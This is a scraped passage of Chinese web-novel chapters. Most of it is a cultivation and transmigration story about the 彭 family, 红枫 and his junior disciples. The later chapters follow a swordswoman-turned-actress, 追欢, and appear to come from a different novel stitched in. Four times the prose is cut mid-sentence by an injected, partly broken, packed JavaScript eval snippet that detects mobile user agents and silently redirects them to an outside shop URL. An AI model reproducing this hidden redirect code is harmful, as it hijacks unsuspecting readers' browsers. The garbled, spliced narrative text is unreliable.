彭修能是不是彭家人,这些修士很容易就能查到,但是他要是认下彭修能,就表明彭家的立场和彭修能一致,要与彭修能共同担负上这份惹怒鼎剑阁修士的罪状,如果他这样做了,彭家只怕会彻底消失在宁国里,而在那之前,彭修能还会先被愤怒的族人处以极刑。 此刻必须对彭修能落井下石,把他赶出彭家,彭家家主只有在鼎剑阁修士面前装作对他没有任何感情才能保全家族,只要保全了家族,就算彭修能从此以后只能做个庶民,日子也不会过得太差。 “家主,少主毕竟是您的亲儿子!” 彭修能在地上阴恻恻地看着自己的父亲,跟随父亲来的这些下人平时可没少领他赏钱,彭家没有女主人,家庭内的账务理得非常乱,下人连月钱都常常支取不到,要是离了他,这群人的日子就更没盼头了。 “是啊,家主!您不能糊涂啊!” “不过是修士罢了,我们还可以去景阳派请来,何必对着这什么听都没听说过的剑鼎阁卑躬屈膝?” “家主,您可是彭家的家主啊!” 彭家家主心如死灰。 云问风似笑非笑地嘲讽道:“家主竟然连自家儿子都不愿认,你们彭家可真是了不得。” 为今之计,只有以德行试仁心,彭家家主跪倒在了地上,对乐易劝道:“此事皆因在下教子无方,请仙长降罚于我,无论要如何我都可以承受,只求莫要牵连彭家。” 彭修能的命已经是注定要丢掉的了,彭家也不知还能否幸存,彭家家主这么一跪,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459101|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求让鼎剑阁的人认为他品德尚可,留他自己一条活路。 彭修能却全不这样想。 他父亲是家主,他就是下一任家主,他们两人都是这个家族的主人,余下那些都是他们的奴隶,今日父亲竟然为那些奴隶求情,他们也配? 父亲真是越老越愚蠢了,这家主之职,他还是尽快卸任为好。 “我头一次出门的时候,师兄给了我一样东西,今天这个场景倒是很适合拿出来用一用。” 乐易皱着眉毛拿出了一面照心镜。 制作这个照心境的时候,红枫加了两个录像和投屏的功能,正好方便修为不足的乐易对着拍卖场内的展台投影。 最先出现的是彭家家主对于鼎剑阁的印象。 他是在陪同景阳派向正道联盟申请区域名时才了解到,宁国之内已经有了一个拥有着大乘期修士的鼎剑阁。 那可是大乘期修士,只差一步就能飞升,要除掉他们不过是反手之间,他们每升一阶,便觉曾经所识之人皆为蝼蚁,想来在那位大乘期修士眼中,这天下间恐怕密密麻麻尽是蝼蚁,唯有自己门下弟子尚可多看两眼。 于是他们立刻派人去鼎剑阁所在的位置寻找那位大乘期仙长,可除了一个着缊袍敝衣之人在附近招摇撞骗想骗人入门以外,再没有半点鼎剑阁的消息。 这段投影有音有画,裴安和听着他们说的“缊袍敝衣”,看着投影上的师父:“可是,这就是我师父啊,这件衣服也没有很破,是法衣啊,师父自己炼制的法衣。” 裁剪上是比较自由,但是那些铁块不便宜的,都是天外陨铁,重得很。 而且,师父好看啊,他穿破布都好看,这个好歹裁剪过的,虽然他看不懂,但是反正很好看就是了。 裴安和这么一说,彭家家主才明白他们当年错过了什么。 彭家前去寻找鼎剑阁这件事彭修能也知道,当年家里还说找到鼎剑阁就会送他过去,他向来是不以为意,觉得景阳派居于都城,定然比位于穷乡僻壤的鼎剑阁水平更高,到今天才知道,鼎剑阁居然有大乘期修士坐镇。 鼎剑阁离彭修能的距离,曾经就差那么一点点。 照心镜后面的内容就是彭家家主和彭修能方才的想法,彭修能的想法倒是没有出乎彭家家主的预料,然而彭家家主的想法,就远在彭修能和一众下人的心思之外了。 彭家家主知道自家小儿品性顽劣,他本也没有多少时间去管束他,因此对于彭修能的想法没有任何多余的感觉,彭修能就完全不一样了,他原先以为父亲一开始是要放弃他,没想到最开始父亲正是为了保他才假装是要放弃他,下人们更是觉得惶恐,他们劝家主放过少主只是想多赚些银两,没想到整个彭家都已经命悬一线了。 实际上,在投影出现在拍卖场的这一刻时,彭家家主就明白,彭家已经完了。 这投影反映出来的是他们的失德恶念,但品德上的好坏并不重要,更重要的是,这其中表现出来的,放出投影的鼎剑阁门人对彭家的态度。 都说百年的王朝,千年的世家,如今千年世家毁于一旦,却只需一黄口小儿。 12. 第 12 章 照心镜依然在运转,乐易听完了彭家家主的感慨,心中十分不解。 彭家家主对自己的亲儿子也没什么感情啊?既没怎么见过面,又把对方的品性想得那么恶劣,所以他对他儿子这么好干嘛? 就为了一个千年的世家?难道世家传承了两千年以后就可以飞升成仙了吗?没听说过啊。 彭家家主这个行为,表面上看起来很常见,历史书上也常有,但是乐易看着眼前的彭家家主,总觉得这里面缺了些什么,这套约定俗成里似乎漏掉了什么。 是什么呢? 乐易陷入了沉思。 “这家拍卖行只出售他们挑拣过的残次品,”云问风聚气于室,凝声传音道:“诸位以后想要买卖修真资源,可以去江州鼎剑阁附近的灵芝街。” 灵芝街上的老字号店铺都是开遍了全世界的,极品灵石他们能赚,灵珠他们也能赚,这种老字号开的分店连库房都不用建,直接开辟空间接通总部拿货,所以售卖的商品范围非常大。 就是不知道有没有衣服,应该有法衣吧,实在没有他们就买几件法衣。 乐易带人离开的时候,恰好碰到了宫里来的太监,他好奇地多看了对方两眼就走了,太监也不认识他是谁,只急急地往拍卖场里赶。 太监刚接到了陛下的诏令,陛下要他尽快奉诏谕旨于彭家家主,罢免他的官职。 裴安和跟着乐易踏上了法剑,他还不会御剑,只能跟着乐易走,宁国不大,他们很快就回到了江州,灵芝街上静悄悄的,仿佛里面什么都没有。 毕竟是开张十年一块灵石都没吃到的地方,没有人声也很正常。 乐易走到一家关闭的店铺门前敲了敲门,门很快就被打开,里面的掌柜热情又善侃,灵芝街里也就一点也不安静了,可这是一家药材铺,乐易问了一下哪家店有衣服卖就走了,掌柜也只乐呵呵给他指了路,和他说下次再来。 “这才是正常人。” 云问风呼出一口气,觉得江州人真是太好了,比别的城市都要好太多了,以后再也不想出江州了。 乐易点点头:“搞不懂他们,你情我愿地交易个东西还要分个人上人出来。” 灵芝街上成衣店里的衣服是很好看的,他们这些修士本来也很好看,再由掌柜帮他们搭配一番就更为花哨了。 他们在外面逛街买衣服,红枫在给结丹大典找场景策划。 本来一开始找到人谈价格的时候都还好好的,一说这是给他师弟办的结丹大典,有要求尽管提他可以尽力配合,那些场景策划就,试图有伤风化了。 这个位面真是太乱来了,那些男策划老是看红枫好看就想对他下手,红枫真的想不明白这个天道一天是休息几个钟头,能不能管管事,至少给他一个老实点的场景策划。 最后在多方介绍之下,他终于花高价请到了一位女策划。 红枫搬了一座极品灵矿矿脉给她,她才愿意出门来接单子,女策划对于红枫的脸没有任何表示,来了就干活,特别勤快,干了两天以后还把她女儿也带了过来,胖乎乎的一个小娃娃,红枫很久都没见到过小女孩了,觉得很稀罕,正好那群倒霉孩子不在,红枫天天跟小胖妞一起做小甜点,感觉自己的心态都年轻了两千岁。 他在这个位面都没见到过几个小女孩,其实女人也没见到过几回,之前想收徒弟的时候他天天出门,偶然间遇到过一个小女孩,那小女孩看到他就跑了,搞得好像他很吓人一样。 这个叫小桐的小胖妞就很乖,但是她好像没怎么出过门,什么都不知道。 见他和自己的女儿玩得还挺开心,场景策划许予舟突然问了红枫一句:“你今年多少岁?” 红枫回忆了一下这位大师兄的岁数:“一千四百零二岁。” “难怪,世道变了,往后你也少出门吧。” “世道变了?” 许予舟不想多说,只淡淡道:“世风日下,人心不古。” 红枫还想再问,小桐突然端了一个空碟子过来,他就去跟小桐做小甜点了。 最近红枫很喜欢吃松饼,听说松饼可以做得特别蓬松酥软,但是他用平底锅做出来总是扁的,烤箱他既不会用又不会做,只能继续用平底锅尝试。 小桐就在旁边给他加糖。 他们的口味很一致,糖都得加致死量,最后做出来的甜品做成功的其实很少,但是够甜就还是好吃,他们还是吃得很开心,每次做出来都不够吃。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459102|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但是今天小桐把自己的松饼切成了两半,留了一半没有吃,红枫就很怀疑自己的手艺是不是退步了:“今天的松饼做得不好吃吗?” “好吃,”小桐对他点了点头,拿着另一半松饼跟他说:“很酥软,我拿去给酥酥吃。” 既然今天的松饼做得很是酥软可口,红枫就满意了,也没继续问她酥酥是谁,收拾好厨具以后他自己的小兔崽子们也回来了,红枫就更懒得去想谁是酥酥了。 他的徒弟们的衣品是真的不怎么样,师弟也是,红枫本来准备自己教他们的,但是旁边的许予舟没忍住笑,红枫就多送了她一座灵矿矿脉。 在挑衣服这件事情上,红枫还是比较相信女人的审美。 这下这帮孩子总算不再穿那种左一块色块右一块布料的古怪衣服了,改换了纯色打底刺绣点缀的正常男装,他们出门买衣服就逛了一下午,回来的时候正好是晚饭时间,红枫去了厨房,就碰上了小桐和她之前说过的酥酥。 红枫在街上见过酥酥,就和小桐交代了一句让她别留朋友太晚,早点送朋友回家,小桐认真点了点头,把牛奶布丁往酥酥手里一递,就开口说:“你走吧。” 也不是这么不晚,红枫看她看笑了:“朋友来了还是要好好招待一下。” “她不是我朋友,她说她是可怜人,说我是有钱人,有钱人要给可怜人吃的。”小桐举着自己脖子上镇压邪祟的铜钱和红枫说道,浑然不在意酥酥的脸色。 所以就把自己最喜欢的松饼给人家了,还把头一次做成功的牛奶布丁也给人家了? 这孩子演技比乐易差多了。 “你可不是有钱人,”红枫蹲下身,捏了一把小桐的小胖脸,就想逗一逗她:“你只有灵石,没有钱。” 小桐歪头看他:“我不是有钱人吗?” “对,你不是。” “可是,娘说男人都是大骗子。” 红枫沉默良久,毕竟他现在确实是在哄小女孩玩,被她这么一说,感觉还真是被说中了,只能尴尬地岔开话题:“等会儿天晚了你来找我,我送你朋友回去,大晚上一个小朋友出门不安全。” 这个小村子看上去实在不像是有治安管理的样子。 13. 第 13 章 红枫确实是穿越过来的,但是这事他不好跟祁危说。 “这个玻璃杯子跟我家的一模一样。” 祁危又喝了一口温热的异兽奶:“你和我从前在小说里看见的红枫却完全不一样。” 当然不一样,在红枫接受这个任务以前,师兄甚至不叫红枫。 祁危接着说道:“我来自二十一世纪的x国,你也是从那里来吗?” “不是。” 红枫并不在意祁危能不能猜到自己的来处,只要他自己没有说出禁词,穿越局就注意不到他。 “你是来自其他国家?” “不是。” 听到红枫否认了这一点,祁危心头一松:“你不是二十一世纪的人?” “都不是。” 红枫的态度一直很冷淡,祁危只当他不太想和人交流这些事情,也就没有再问下去。 “既然我们都是同一国的人,以后我会努力保护你的。” 祁危的神色有些激动,他没想到在这里居然还能遇到老乡,老乡还成了自己的徒弟,虽然按照小说里的情节,红枫很快就会死,但是,自己好歹也是一个渡劫期修士,只要他多注意一些,也许他的老乡就能从主角手里逃出来。 红枫心情复杂。 要是祁危现在没有抱着一杯热奶说话,也许他这句话会稍微有说服力一点。 “对了,我现在有没有什么可以帮得上你的?你洞府里还有没有什么缺的东西?” “不用,谢谢。” 祁危温和地对他笑了笑:“都是老乡,你不用跟我这么客气。” “真的不用,我洞府里的东西实在太多了,我这几天一直在清理,真的不能再添东西了。” “那我再多给你一个乾坤袋,你看看能不能多装点东西,反正这些东西我也不会用,你都拿去看看吧。” 祁危说着就从芥子空间里拿出了一把乾坤袋,硬要塞给红枫,他的身体看起来很瘦弱,实际上渡劫期修士的力道并不小,红枫不想跟他打起来,试着推了一下推不回去,就收下了。 然后他们就听见了一道似乎是什么东西碎裂了的声音。 元诀扶着厨房的门,咬紧了牙关。 为什么?凭什么?就因为红枫是先来的吗?凭什么师尊对红枫那么好?他和红枫相比,就差得那么远吗? 红枫注意到了元诀的身影:“曾长老已经走了吗?” “是,事情已经查清楚了。” 他实在是没有想到,这一回红枫居然没有在背后做手脚。 元诀从门后走进了厨房,看见祁危还把手放在红枫手上,又觉得牙有些痒。 红枫感觉他眼神不太对:“你也想喝奶?” 元诀被他问得一愣,红枫把祁危给的乾坤袋收好,对他说了一声谢谢,从门口出去的时候顺便就给元诀塞了一杯奶。 厨房里只剩下祁危和元诀。 元诀没有想到幸福来得这么突然,手中暖暖的异兽奶散发着甜香,他心里也甜滋滋的,他还在想着该怎么和师尊搭上话,祁危突然站起来一个箭步追上了红枫。 刚才祁危突然看到元诀的时候又被吓到了,没反应过来,反应过来以后他立马就去找了最能给他安全感的红枫老乡,只留下元诀站在原地两眼空空。 红枫不知道该说什么。 他总觉得元诀的情绪不太正常,祁危这个做师尊的应该好好关心一下自己的弟子,但是,他是穿越者,祁危也是穿越者,元诀根本就不是现在这个祁危收下的,所以他也不好多说什么。 他只能默默在加课名单里把元诀划掉,给孩子放个假。 祁危一路跟到了红枫的洞府,到了洞府以后,红枫就开始整理乾坤袋里的东西,把值钱的都清出来,拿去给戒律堂送礼,换一个长老出来加班。 祁危的乾坤袋里值钱的东西有很多,红枫没有清理多久,就列出了一个丰厚的礼单,用传送阵附上传音符一起送了过去,他从一堆天材地宝里一抬头,就看见了祁危渴望的眼神。 “你怎么了?” “你能不能教我用这些法术啊?” 能是能,但是红枫很不想教。 像他之前收的那些弟子,修为境界都是自己一点一点练出来的,他们是有基础的,不像祁危,一开始就是渡劫期,没有经历过引气入体,没有经历过洗髓伐脉,更没有经历过从无到有的结丹,给祁危这种什么基础都不懂,以后也没有机会去体验的人讲道,是非常艰难的。 红枫也就明说了:“你没有基础,我只能给你讲一讲,你自己看能不能听懂,你要是听不懂我也没有办法。” 祁危严肃认真地答应了下来。 直到戒律堂的曾长老过来上律法课的时候,祁危还在尝试学习内视。 红枫都不好意思打击他,其实也不需要红枫去打击他,祁危看过玄幻小说,他知道元诀在第一次引气入体的时候就会内视了。 祁危怎么都找不到开启内视的方法,头都要挠破了,嘴唇都要咬出血了,做不到就是做不到,心态崩得不行。 他真的想不明白为什么,凭什么?就因为元诀是男主吗?凭什么元诀感悟道法那么快?他的悟性和元诀相比,就差得那么远吗? 红枫一个人去了赏金阁。 师弟在修养身体,师尊在学习内视,内门弟子们都加了一门律法课要学,没有时间做任务,凝云峰里的门派贡献点收入必然会减少,所以红枫必须多做一点任务,才能让他们在学习律法课期间免去后顾之忧。 在开门之前,红枫先深呼吸了一下,给自己打了打气,确定就算再次看到里面有什么不雅的场面他也不会慌张,才敲响了赏金阁的大门。 赏金阁内只有一名正在整理赏金任务的女修,红枫松了口气,觉得这次应该没有问题了,接着就迎上了那名女修厌恶的眼神。 原本的那位师兄仗着师尊的宠爱为非作歹胡作非为也不是一天两天了,祸害过的人一只手数不过来,恶心到的人双手双脚都数不过来,女修连音就是一个被原本的师兄恶心过的人,她同时还对元诀的遭遇深感同情。 不过这对于现在的红枫来说也算是个好事。 “给我来几个元婴期的任务,要贡献点多的。” 一般情况下,一个金丹期修士要领取元婴期的任务,是绝对不会被赏金阁里的人答应的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459103|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “给你。” 连音看都没看任务内容,随便抓了几个元婴期任务就塞给了他,巴不得他死在这些元婴期的赏金任务里。 名声差还是有名声差的好处的,红枫进门不到一柱香的时间就把任务接到手了,接下来只要把这几个元婴期任务做完,内门弟子们空缺的贡献点就能被补全,说不定还会有剩余。 几个任务所在的地点分别是泱夕、酌阳、仲砂、南筠,红枫选择先去完成南筠的任务,他感觉看名字应该是这里的绿化做得最好。 临行前,红枫先去和自己现在的师尊告了个别,祁危对他很是不舍,元诀在一边听得眼睛发绿,红枫看清了元诀的眼色,觉得这孩子大概是憋坏了,龙傲天果然还是应该在野外自由生长,他就把元诀也带上一起出发了。 第一个任务是去南筠七竹派接收贡品,或者说收税,也可以说是收保护费。 七竹派里修为最高的太上长老如今已经修炼到了化神中期,安排一个元婴期修士,借着昆玉宗的威风,恰好能够和他们平等对话,换成红枫这样一个金丹期修士,双方就不太好说话了。 所以红枫带上了商城里最帅的那把剑,虽然还什么都没有发生,但是他已经做好了干架的准备,对于在人群里七进七出顺便保护好天命之子这件事,红枫很有信心。 元诀就很没有信心了。 他一路上都在提防红枫,从祁连昆玉宗到南筠七竹派,路越走越是曲折,元诀的精神也越来越疲惫,眼色越来越绿,红枫觉得这样下去是不行的,中途就在临郡停下了飞舟,带着元诀去了当地的菜市场。 孩子面有菜色怎么办?当然是赶紧给孩子吃肉啊。 红枫打量了一番元诀的身高体重,在菜市场上买了三斤肥瘦合适的五花肉,还有八角香叶辣椒花椒葱姜蒜等等一堆调味料,全部买齐以后他带着元诀走进了一家客栈,想租个房间做红烧肉。 他刚走进大门,就看见客栈的大厅里有不少客人,离门口最近的一桌上面就摆了一盘红烧肉。 红枫看了一眼,赶紧移开了视线,还挡住了元诀不让他看。 明明有红烧肉卖为什么他还要自己做?不行,他自己发现自己犯傻了就够了,绝对不能再让师弟看到。 他这么一挡,元诀反而更在意他刚才看见了什么了,红枫本来能挡得住他,元诀突然伸手过来想扯他袖子,关键时刻,红枫嫌弃他是个基佬,往旁边躲了一下,就让元诀看到了。 元诀看到了客栈的大厅里有很多人,很热闹,还有就是客栈里的装潢不错,别的什么都没有看出来,他皱眉仔细观察了一下,还是什么都没有观察出来。 红枫看见他眉毛皱了,觉得他多半是看到那盘红烧肉了,现在可能已经在心里吐槽他笨了。 元诀觉得红枫一定是看到了什么可以祸害他的东西,眉毛皱得更紧,又仔仔细细地观察了一遍,还是什么都没看出来。 红枫也发觉元诀的眉毛皱得更紧了。 他看了看自己手里提着的五花肉,又看了看那边桌上那盘已经做好的红烧肉。 不行,一定要让师弟明白,妈妈,不是,师兄做的菜才是最好吃的! 14. 第 14 章 视频还需要经过后期剪辑才能发布,追欢打算去剑馆看看。 剑馆的门口来了许多想要得到她的签名的粉丝。 当她在剑馆里告诉门外的人,只要跟着她练一套剑法,她就送他们签名照,会有很多人冲进来练剑,但是,她不在这里的时候,剑馆的招生办面对着这么多人也一个新人都招不进剑馆。 这件事实在是很令人心情沉痛,剑道传播之路艰险陡峭,前路漫漫,她还需要坚守道心,相信总有一天,吸引门外的人的不会再是她的签名照,而是她的剑道。 追欢熟练地带着新粉丝进入了道馆,向他们传授起了自己的剑法。 这些人练剑都练得十分用心,可惜的是他们要完签名照就不会再练了。 追欢好好地,详细地教导了他们这套剑法最基础的部分,把所有人都操练得汗如雨下,最后一一和大家签好了签名照。 本来是可以合照的,但由于经过运动以后粉丝们的脸都变得很红,满脸汗水毛孔扩张,有的粉丝的妆都花了,他们就不太愿意合照了,洛雨统一打印的追欢单人照发挥了很大作用。 其实追欢更希望粉丝能和她合照,运动以后的样子是很健康的,运动过的人,今天大脑会更清醒,学习会更迅速,工作会更周全,运动可以让他们的今天不要白白流逝过去,拥有充实的一天是很值得自豪的,运动完后的他们当然也是应当要很骄傲的。 至少不能因为运动后的样子感到自卑,不敢把自己运动后的照片拿给别人看,还总是把自己化妆化成好像从来没有运动过的样子。 这个世界上的人总是喜欢把自己化妆成没有运动过的样子。 追欢对这个剑道式微的世界很失望。 剑道式微就算了,运动也式微,武德还不昌盛,如果在修真界,她一出剑,就会有很多人察觉到其中的威力想要向她学习,而在这里,人们看她出剑,只会思考这样好不好看,为了一张签名照和她练剑练得满头大汗值不值。 她都已经是这些人的偶像了,这些粉丝甚至都会因为运动后觉得自己很丑而不愿意和她,这个他们最崇拜的人合照,这个社会的风气真是太糟糕了,不知道耽误了多少剑道的人才,如果不是这样,说不定这个世界的剑道早就发展得和这个世界的菜肴一样强大了。 想当年,在修真界里,人人都是以自己最认真最努力的样子为傲的。 再想当年,一时半会儿也回不到当年了。 追欢只能自己思考改变这个社会的办法。 如她原本所想,应当要用自己的名气来撼动这个社会,让这个社会上的人明白,运动是人类必须要做的,必须要关注的,非常重要的事情,所以首先,她得按照这个世界的游戏规则,获得很大的名气。 但是,实际上,并不是只有她一个人想过要去做这件事。 这个世界上,有很多艺人都有一副极为健康的身体,不少艺人都有好好锻炼过肌肉,不只是艺人,很多成功人士在适合锻炼的时期,身体也都是非常健康有力的,要成就一番大事业,没有一副健康的身体,没有足够的寿命,是很困难的。 很多成功人士都曾经著书写作自己的成功经验,常常在书中告诉大家运动是很重要的,但是,比起看现实里的成功人士是如何成功的,人们更喜欢看现实里的成功人士有多少花边新闻。 助人上进的秘籍卖出上万本已经是重大喜讯,花边新闻和虚构故事却能连绵不断地编出卖出上千万条上千万本,这和修真界完全颠倒了。 追欢想要和那些成功人士一样告诉大家,运动是很重要的,缺乏运动,大脑就会停止发育,未成年人就会停止生长,专注力会持续下降,心情会长期处于抑郁焦虑的状态,而保持运动,成年人就能变得更加聪明,未成年人就能长得更高,人的心境会变得非常平和,人与人之前的相处也会更加友善。 这些知识是有大量研究可以证明的。 追欢打开手机,在备忘录上找到了近期看过的书籍和论文名称,把这些附在了这段知识后面。 她的这条新微博果然得到了很好的反响,但她还是有些好奇为什么这件事会有这么大的反响。 “因为艺人通常不会做这种事,”洛雨老师是这样告诉她的:“你做了一件闲事诶,我们是搞娱乐的,去搞科学的事情很不专业,如果这些研究被推翻了我们会很麻烦。” 研究被推翻? 也是,人在进步的道路上总会犯一些错误,这些研究也有可能是错误的。 但是,追欢相信,这些研究加上她的观点,最终抵达的终点一定是正确的。 练剑一定可以让人的生活变得更好,如果运动不能提高人的脑力,不能让人长得更高,不能让人的心境变得更平和,那一定是因为这个人参与的运动项目里没有练剑,如果练了剑还是没有改变,那一定是因为这个人练的不是第三十二代凌霄剑法。 想到这里,追欢又想要再挥一挥她的剑了。 在剑馆里挥过剑,再去竹林,追欢感觉到了今天的天气似乎有些炎热。 已经到了夏天,竹林里的空旷处飘荡着热风,虽然还不至于让追欢出汗,但很明显的是,其他人都已经不会再来竹林练剑了,大家都去了室内的剑馆里。 据说是因为这个时候顶着酷暑练习只会让身体囤积脂肪,要在更舒适的环境下锻炼才能增加平时需要消耗大量养分来维持的肌肉。 这个天气对于追欢来说还能增加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459104|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肌肉,对其他人来说就只能增加脂肪了。 最近会来剑馆的门徒也少了许多,有人提议开办线上剑馆,虽然在线上完全比不上面对面多角度矫正动作方便,但是追欢还是采纳了这条建议。 这个世界的交通工具还是太慢了,不像在修真界的时候可以撕裂空间和人会面,在这个世界上开办能够让大家遥隔山海相遇的线上剑馆还是很有必要的。 现在线上剑馆初具规模,线下剑馆却没什么人了,不过前几天这里好像被定为了是什么网红打卡点,突然来了很多主播。 在她要求必须要跟她练剑才能打卡以后,来的主播就又少了。 这样的社会风气真是太糟糕了啊。 书房里还是清清静静的,管家和佣人都没什么声音,追欢坐在房间里聆听着蛋黄的脚步。 蛋黄跑起来哒哒哒的。 和很多猫不一样,蛋黄很少有无声走动的时候,它常常都是哒哒哒的。 手机响起了铃声。 “你要拍武侠剧吗?”是洛雨老师的声音。 “剧本给我看看。” 洛雨发来了一个剧本。 这是一部名为《渔火》的武侠剧,讲述的是一个关于灭人满门的爱情的故事。 追欢想要好好看看这个剧本。 她看着看着就想要放弃了:“为什么灭人满门的家伙还能有爱情?” 换做是她,绝对不可能会原谅这种人,她不可能会放下这样的血海深仇,更不用说和仇人在一起了。 “这部剧本是由小说改编的,小说剧情都是很离奇,很不可思议的。”洛雨给她解释了一下。 这是一部由小说改编的电视剧,原作是一部非常有知名度的小说,出自于一名非常有知名度的作者笔下。 追欢在网络上搜索了一下关于灭人满门的爱情小说推荐,发现网络上有很多这样的小说。 《渔火》可以算是最早这么写的那一篇小说,那个时候网络上还没有这么多这样的小说,这本书写出来的时候,确确实实是震惊了非常多的人。 追欢再看了看目前流行的其它小说,还有最近的电视剧宣传,大概了解到了,她如果想要参加电视剧的拍摄,恐怕也是离不开爱情的了。 之前刚忍着强烈的不适演过了一部爱情电影的男主角,她不知道有没有积攒下一些名气,这次她想要试试扮演一个能够让人对剑道产生兴趣的角色,看看自己新吸引来的粉丝会不会因为她拍摄的这部电视剧在练剑上有激情一点。 她希望能饰演一个不用化妆,可以大胆地在镜头前展现自己的运动状态的角色。 她选择了一个在爱情剧里和爱情不那么有关联,和剑道比较有关联的角色。 15. 第 15 章 这次追欢想要的角色是女主身边的护卫,这个角色大约应当算是女三号,洛雨认为这个角色不需要追欢花钱投资,直接去试镜就可以了。 “一般来说我不建议艺人饰演女三号,”洛雨带着追欢往试镜的方向走:“但是你的话,我觉得,就算是演炮灰也会让人印象蛮深刻的。” 追欢跟在洛雨身后,洛雨小跑着,追欢慢悠悠地在后面跟着,她看了看洛雨的头,再看了看自己的腰,洛雨老师跟在她身边,看起来只到她腰间。 一个念头缓缓浮现在了追欢的脑海中,她觉得洛雨老师好矮。 洛雨的心情有些不满:“是你长太高了!” 追欢没有想到洛雨老师竟然会知道她在想什么,不愧是最适合她的经纪人,她们之间竟然已经有了这样的默契。 洛雨有些忧愁地叹了口气。 她确实比在场的所有人都要矮,她带的艺人却比在场的所有人都要高。 追欢的身高,实在是很不给她面子啊。 “下一个,追欢。” 追欢走进了试镜的房间。 过了一会儿,后面的艺人也被一起叫进了试镜的房间。 追欢很快就出来了,快到洛雨不明白这是为什么。 “发生什么意外了吗?” “没有。” “那你为什么这么快就试镜结束了?” “结束了,我拿到这个角色了。” 洛雨的眼神变得十分欣慰。 虽然追欢的身高很不给她面子,但是追欢的演技还是很给她面子的:“要一起去吃顿好吃的吗?” “好吃的?” “附近有家很不错的牛肉馆,你应该会喜欢的吧?” 这个世界的菜追欢都挺喜欢的。 洛雨老师推荐的牛肉馆很不错,吃完饭以后追欢去牛肉馆的厨房转了转,看到这里卫生做得也不错。 第二天,牛肉馆就关门了。 洛雨路过牛肉馆的时候茫然地看着店门上的关门大吉,给追欢打了个电话。 追欢正在品尝昨天刚挖到家里的厨师们制作的早餐。 过了一会儿,洛雨也来到这里吃起了早餐:“今天就要进组了,准备好了吗?” 追欢点了点头。 她的肌肉保持着最佳的状态。 但是节目组似乎不这么认为,节目组给她安排了武替。 追欢拒绝了这个安排,她觉得她可以自己完成剧本上要求的一切战斗。 武术指导也这样认为:“是追欢前辈的话,应该不会有任何问题。” 但是有很多替身演员不这么认为。 他们先看了看追欢的脸。 她的肤质细腻莹润,五官精致夺目,这是一张一看就是一个女明星的脸。 他们再看了看追欢的手。 她手上虽然有些剑茧,但是这只手的手指不够修长,恐怕只能握得动特制的剑柄。 一名脸色黢黑的替身站了出来:“老师,你为什么叫她前辈?” “她教过我剑术,确实称得上是我的前辈。” 另外几名名身形粗壮的替身朝着追欢的方向走了过去,他们皮肤粗糙,体毛旺盛,此时刚热过身,身上肌肉猛涨。 他们眼神挑衅地一步步靠近追欢。 追欢看了他们一眼。 他们短暂地停下了脚步,相互对视了一番,很快又鼓足干劲,继续往追欢这边走了过来。 这让追欢感到有些惊讶,看来,这个世界也不缺少有勇气的人。 一分钟以后—— 两分钟以后—— 三分钟以后—— 朝着她迈过来的脚步越来越细碎,追欢打消了先前的想法。 导演看到这个情况,决定让追欢先来拍一段打戏试试。 追欢和男三号的武替试了一下。 男三号的武替出了一拳。 追欢一剑扫到了对方颈间。 “咔。” 追欢的速度太快了,远远超出了女三号应有的实力,导演还是让武替出演了这段武打剧情。 武替演出这段打戏的时候,追欢一直在旁边看着,她似乎对打斗这件事真的很有想法的样子。 导演有了一些不好的预感。 除了武打片段,追欢还有很多片段要拍。 今天需要追欢参与拍摄的片段是和女主一起外出郊游的剧情。 这部电视剧的女主由当红小花夏瑜饰演,夏瑜正在弹琴。 夏瑜曾经参加过需要出演唱跳节目的综艺,她拿出了大火综艺的水准,卖力地弹奏着。 她很快就被导演叫停了,这部剧的女主应该是要非常柔弱的,不能这么大力敲琴。 夏瑜只好慢慢抚琴。 她还要和后期才会加上的小鹿,后期才会加上的蝴蝶,以及后期才会加上的白马交互,夏瑜拥有着十分强大的演技。 抚摸过琴,又抚摸过不存在的小鹿,再抚摸过不存在的白马,柔弱的夏瑜轻轻唤了一声,招来了追欢。 